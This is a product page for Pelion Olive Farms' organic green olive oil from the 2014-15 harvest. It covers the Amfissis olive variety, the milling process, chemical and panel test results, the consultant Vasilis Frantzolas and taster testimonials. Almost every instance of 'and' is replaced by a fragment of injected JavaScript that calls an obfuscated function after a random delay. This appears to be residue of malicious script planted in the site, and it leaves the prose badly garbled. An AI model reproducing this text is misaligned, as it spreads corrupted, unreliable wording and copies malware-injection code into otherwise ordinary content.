Awards

The Exceptional

This organic, green olive oil was produced in early October 2014. The healthy green Amfissis variety (” Konservolia “) olives, were carefully picked from olive-groves of old, rain-fed trees in central Pelion, at an altitude of 400m. The entire production process was overseen by Vasilis Frantzolas, olive oil tester andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and consultant, to ensure a number of requirements. The resulting olive oil has intense aromas of freshly cut grass, tomato leaves andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and green almonds andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and its flavor is moderately bitter andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and spicy. These are the characteristics of Pelion Olive Farms’ product, best of V. Frantzolas’s olive oil for year 2014-2015.


The Beginning

In 2011, during one of his visits to central Greece, V. Frantzolas sampled the olive oil produced by a group of small organic farmers in Pelion, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and was impressed by its high quality because they use Amfissis variety olives, which are usually consumed as table olives in that area. After several meetings with the farmers, they decided that there was potential for substantial improvement in the quality of the olive oil, as long as strict standom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andards were upheld at the stages of olive-picking, of oil milling, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and of storage. These efforts resulted in the production of the organic extra virgin olive oil Pelion Olive Farms in October 2012. This won a number of the most prestigious awards in the field of olive oil (five awards in the six first months of being placed on the market).

The year 2014-5 seems to have produced another exceptional olive oil, perhaps unique in aromas andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and flavor, mainly due to the olive variety (Amfissis), but also to the timely collection of the olive fruit (8th-15th of October) andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and then the stringent procedures used in the oil extraction mill.

The Amfissis Olive Variety

According to the scientific literature, the Amfissis olive is high in polyphenols. So if the healthy olives are picked early, from the end of October until 15 November at the latest, so that 90% of the olives are green to purple-colored, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and if the highest standom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andards of procedure are upheld at the oil-mill, the result will be an olive-oil (green olive-oil) of an exceptional quality.

Production Process

The oil production was planned andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and organized together with the smallholders of organic olive-groves in the Pelion region. Every day during the first ten days of October 2014, the carefully picked green olives were transferred, in special plastic containers, to the nearby mill. The grinding process took place each evening after five. At all stages of production (malaxation, centrifugation, separation) the temperature was kept carefully below 27 degrees Celsius. It is well established that in order to produce a high quality olive oil with rich aromas andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and high in polyphenols, the malaxation of the olive paste should not exceed 30 -35 minutes, at a maximum temperature of 28 degrees C.

The 2014-5 Pelion Olive Farms Olive Oil

The oil has a rare complex fruity flavor, while its aromas are characterized by bold tones of green tomato, freshly-cut grass, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and olive leaves. The bitter andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and spicy tones are also strongly present, at an almost equal intensity, indicating that exceptional, well balanced oil had just been born! Each evening, the olive oil was filtered through paper filters to avoid unwanted future fermentations. Then the oil was stored in stainless steel tanks, supplied continuously with nitrogen gas for better protection andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and storage. The immediate bottling, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance of the olive oil at 15 degrees Celsius, ensures it is kept in the same excellent state as when it leaves the oil-mill.

According to the chemical analyses, both acidity (0,23%) andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and peroxides (6,5 mEqO2 / kg) are very low indicating a high quality olive oil. The values are given in detail below, in the certificate from the accredited laboratory, Multichrom.lab .

The organoleptic characteristics are excellent, ie. Fruity: 5.2 Bitter: 3.2 andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Spicy: 3.8 as defined by the Certified Panel of the Ministry of Development (see below certificate).

Certified Organoleptic Evaluation (December 4, 2014)

PANEL TEST –  GREEK MINISTRY OF DEVELOPMENT
(Reg. 2568/91 ΑΝ. ΧΙΙ)
Fruity 5,2
Bitter 3,2
Pungent 3,8

Basic chemical characteristics

PELION AT: 17/11/2014 MAX(EU) REGULATION
Acidity 0,23% < 0,80%
Peroxides 5,9 mEqO2/kg < 20 mEqO2/kg
K232 1,641 < 2,5
K270 0,111 < 0,22
ΔΚ -0,000 < 0,01
Waxes 89 mg/kg < 250mg/kg
Total polythenols 342 mg/kg

The Expert

Vasilis Frantzolas was born in Athens, but his family originates from Ligourio in eastern Peloponnese having a long tradition of 70 years in marketing andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and standom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andardization of olive oil. Vasilis initially followed his own career as a civil engineer.

In 2003, he was first officially trained in olive oil organoleptic evaluation during a seminar funded by the EU, in Sparta, Greece. Since 2006, he has been systematically giving seminars to people who are interested to produce quality extra virgin olive oil. He has followed several training courses in Greece andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Italy for the organoleptic assessment of olive oils. In 2009, he completed a Master’s degree in Food Policy at the City University of London. In 2012, he followed a weekly training organoleptic evaluation course in Italy, organized by the National Association of Italian Olive Oil Tasters (ONAOO).

He is a member of the International Group of Olive Oil Experts “Varietals”, who spread the concept andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and advantages of high quality extra virgin olive oils. Besides teaching in seminars (www.oliveoilseminars.com) Vasilis Frantzolas is also an olive oil consultant for farmers andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and olive oil producers.

He is the writer of two cookbooks, one of which entitled “Flavours of the Sea” (published by Patakis Editions), in May 2006, won the first prize for “Literary Gastronomy” by the International Academy of Gastronomy headquartered in Paris.

Testimonials

Superb gush of clean greenery, noble bitterness andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and full frontal pungency, this organic oil is the creation of Vasilis Frantzolas, experienced taster, cookbook author andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and olive oil visionary.

Tom Mueller – Writer “Truth in Olive Oil”

The initial nose is typical of an oil made from olives that are picked andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and milled immediately: a healthy olive plucked off the tree andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and crushed in the handom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and. On lightly warming the oil begins to release more grassy tones which tingle in the nose andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and stimulate salivation. In the mouth it is satisfyingly full andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the flavour of raw peas is much in evidence. Bitterness is slight whereas the pungency comes on fairly rapidly andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and decisively andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and is quite persistent. The flavours of fresh green vegetables are very pleasant andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and linger while the mouth is left feeling clean. A delicious andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and well-balanced oil.

Johnny Madge – Olive oil taster – Slow Food Italy

This is a BIG oil! Rustic andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and bold, it starts with a green grassy aroma, followed by a fruity taste suggestive of an early harvest oil that has had a chance to mellow out a bit. It continues with herbal – almost “sagey or wild thyme” – notes in the mid-range, combined with a strong bitterness that blends into a big peppery finish, pleasantly lingering.

Ann Duval Courmouzis – Trained Olive Oil Taster at University of California – UC Davis andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a Cordon Bleu Chef (London)

Orders

Decision makers at food stores or specialty food shops can request for a free of charge delivery of one bottle 500 ml in order to have the chance to taste this unique olive oil.

We accept also orders from individuals only in quantities of six (6) bottles of 500 ml each (one full case) by contacting us directly at orders@pelionolivefarms.gr. Depending on the quantities ordered andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the point of delivery rates will vary accordingly.

Order Contact Details

6, V. Amalias Street, Kifissia 14561, Greece
T: +30 2108086565
F: +30 2108087305
M: +30 6944314878